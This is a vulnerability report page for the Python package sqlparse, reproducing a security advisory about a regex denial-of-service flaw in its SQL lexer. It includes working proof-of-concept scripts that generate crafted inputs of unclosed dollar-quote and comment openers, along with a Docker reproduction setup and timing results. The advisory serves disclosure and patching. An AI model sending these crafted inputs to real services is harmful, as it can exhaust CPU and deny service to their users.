pypi package report

Is sqlparse safe?

8 known vulnerabilities, worst severity HIGH.

// reach

2 direct dependencies

none carry a known advisory

    70 packages depend on it

    an advisory here reaches each of them

    Create a free accountfor every dependency path, dependent and what to upgrade
    // ai model usage

    No published models are known to use this package.


    cvss
    7.5
    high

    CVSS v3.1 base score out of 10

    epss
    0.34%
    low

    chance of exploitation in 30 days, 27th percentile of all CVEs

    xyz score
    4.5
    medium

    CyberXYZ composite out of 10

    fig. 01 — GHSA-prg7-hcfm-mfcr, the advisory selected below

    // 8 advisories

    GHSA-prg7-hcfm-mfcr

    HIGHGitHub ratingCVE-2026-59893
    // summary

    sqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at sqlparse/keywords.py:33 uses a backreference (\1) to match closing dollar-quote delimiters, causing O(n²) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.

    Scope note: the same regex shape — a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop — is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see "Additional affected pattern: multiline comments" below.

    // details

    The vulnerable regex is defined in sqlparse/keywords.py as part of SQL_REGEX:

    # sqlparse/keywords.py:33
    (r'((?<![\w\"\$])\$(?:[_A-ZÀ-Ü]\w*)?\$)[\s\S]*?\1', tokens.Literal),

    This pattern first captures a dollar-quote delimiter (e.g., $tag$) into group 1, then attempts to match any characters ([\s\S]*?) up to the same delimiter again via backreference \1. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N²) total regex work.

    The lexer applies this regex at every character position (sqlparse/lexer.py:136-138):

    # sqlparse/lexer.py:136-138
    for pos, char in iterable:
        for rexmatch, action in self._SQL_REGEX:
            m = rexmatch(text, pos)

    The data flow from public API to the vulnerable sink is:

    • sqlparse/__init__.py:20 — parse(sql) accepts caller-controlled SQL.
    • sqlparse/__init__.py:29 — delegates to parsestream(sql, encoding).
    • sqlparse/__init__.py:43 — FilterStack.run(stream, encoding) is invoked.
    • sqlparse/engine/filter_stack.py:31 — lexer.tokenize(sql, encoding) is called with no length limit or timeout.
    • sqlparse/lexer.py:137 — every regex in _SQL_REGEX is tried at the current position.
    • sqlparse/keywords.py:33 — the backreference regex performs repeated delimiter searches.

    The MAX_GROUPING_TOKENS = 10000 limit in sqlparse/engine/grouping.py:20 fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.

    Empirically measured scaling confirms super-linear complexity:

    | Input (N unique openers) | Bytes | Elapsed | |--------------------------|--------|----------| | 250 | 1,889 | 0.066 s | | 500 | 3,889 | 0.144 s | | 1,000 | 7,889 | 0.397 s | | 2,000 | 16,889 | 1.314 s |

    The timing ratio from n=1000 to n=2000 is 3.31× (input doubled → time tripled), confirming O(n²) growth.

    // poc

    Prerequisites: Python 3.x with sqlparse installed (tested against version 0.5.6.dev0, commit c923da9).

    Using Docker (isolated reproduction):

    # Build from the repository root (parent of vuln-001/)
    docker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .
    
    # Run with no network access
    docker run --rm --network=none sqlparse-vuln001

    Direct Python reproduction:

    import time
    import sqlparse
    from sqlparse.exceptions import SQLParseError
    
    def make_payload(n: int) -> str:
        # N unique unmatched dollar-quote openers — none have a matching closing delimiter
        return " ".join(f"$a{i}$x" for i in range(n))
    
    for n in [250, 500, 1000, 2000]:
        payload = make_payload(n)
        t0 = time.perf_counter()
        try:
            sqlparse.parse(payload)
            status = "ok"
        except SQLParseError as e:
            status = f"SQLParseError: {e}"
        elapsed = time.perf_counter() - t0
        print(f"n={n:>5}  bytes={len(payload):>7}  elapsed={elapsed:.3f}s  status={status}")

    Expected output (super-linear scaling confirms ReDoS):

    n=  250  bytes=   1889  elapsed=0.066s  status=ok
    n=  500  bytes=   3889  elapsed=0.144s  status=ok
    n= 1000  bytes=   7889  elapsed=0.397s  status=ok
    n= 2000  bytes=  16889  elapsed=1.314s  status=ok
    
    Key ratio (n=1000 -> n=2000): 3.31x
    [PASS] Super-linear (O(n^2)) scaling CONFIRMED.

    Attack input structure:

    $a0$x $a1$x $a2$x ... $a{N-1}$x

    Each token $ai$x resembles a PostgreSQL-style dollar-quote opening tag. Because every tag is unique and no closing tag is present, the regex engine must scan to the end of the string for each opener before backtracking.

    Remediation (proposed patch):

    Replace the backreference regex with a deterministic two-pass approach: first locate all delimiter positions with re.finditer, then resolve open/close pairs in O(n) time, eliminating catastrophic backtracking entirely. See report_excerpt.md for the full diff.

    // additional affected pattern: multiline comments

    Reported independently as GHSA-3crh-2448-7855 (by @7thParkk) and merged into this advisory: it is the same defect class in the same lexer loop, and it is addressed by the same fix.

    Two further entries in SQL_REGEX use the same lazy dot-all shape, terminated by a literal delimiter instead of a backreference:

    # sqlparse/keywords.py:20
    (r'/\*\+[\s\S]*?\*/', tokens.Comment.Multiline.Hint),
    # sqlparse/keywords.py:23
    (r'/\*[\s\S]*?\*/',    tokens.Comment.Multiline),

    A backreference is not required to trigger the quadratic behaviour. The cost comes from the lexer retrying every pattern at every input position (sqlparse/lexer.py:136-138): an unterminated /* scans to the end of the input and fails, so N unclosed openers cost O(N²).

    PoC

    import time, sqlparse
    
    for n in (2000, 4000, 8000, 16000):
        payload = "/*x " * n
        t0 = time.perf_counter()
        sqlparse.parse(payload)
        print(f"n={n:6d}  bytes={len(payload):7d}  elapsed={time.perf_counter()-t0:.3f}s")

    Lexing-only timings on 0.5.6.dev0 (commit f80af6a), isolating the regex work from grouping:

    | openers | bytes | lexing | |---------|-------|--------| | 2,000 | 8 KB | 0.057 s | | 4,000 | 16 KB | 0.196 s | | 8,000 | 32 KB | 0.729 s | | 16,000 | 64 KB | 2.717 s |

    Roughly 3.7x per doubling of the input, i.e. quadratic.

    Note for reproduction: "/*" * n on its own is linear and does not reproduce the issue — in /*/*/*... the openers form overlapping */ pairs, so the pattern matches immediately. The opener must be padded (e.g. "/*x ") so that it never closes. A reproduction that only tries the unpadded form will wrongly conclude the issue is not present.

    // impact

    This is a Regular Expression Denial of Service (ReDoS) vulnerability. Any application or service that passes user-controlled SQL text to sqlparse.parse(), sqlparse.format(), or sqlparse.split() is affected. No authentication, special configuration, or elevated privileges are required — a single crafted HTTP request (or any other input channel carrying SQL text) is sufficient.

    Under sustained attack, one or more CPU cores can be kept at 100% utilization, degrading or completely blocking service for all other users. Because the grouping-stage token limit fires only after the regex work is done, it provides no protection against this attack.

    Affected use cases include: web applications that accept and display or format SQL; database administration tools; ORM query inspectors; SQL linters and formatters exposed as APIs.

    // dockerfile
    FROM python:3.11-slim
    
    # Install build dependencies
    RUN apt-get update && apt-get install -y --no-install-recommends \
        build-essential \
        && rm -rf /var/lib/apt/lists/*
    
    WORKDIR /app
    
    # Copy the sqlparse repository source code
    COPY repo/ /app/repo/
    
    # Install sqlparse from local source in editable mode
    RUN pip install --no-cache-dir -e /app/repo/
    
    # Copy the PoC script (build context is the parent of vuln-001/)
    COPY vuln-001/poc.py /app/poc.py
    
    # Default: run the PoC
    CMD ["python3", "/app/poc.py"]
    // cvss v3.1 vector

    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

    Attack vector
    Network
    Attack complexity
    Low
    Privileges required
    None
    User interaction
    None
    Scope
    Unchanged
    Confidentiality
    None
    Integrity
    None
    Availability
    High

    Checked 2026-11-06 at 21:34 UTC. The most recent advisory here was published 2026-09-01. Updated continuously from NVD, GHSA, OSV and CNA feeds.

    Think a verdict here is wrong? Tell us — we respond within 2 business days.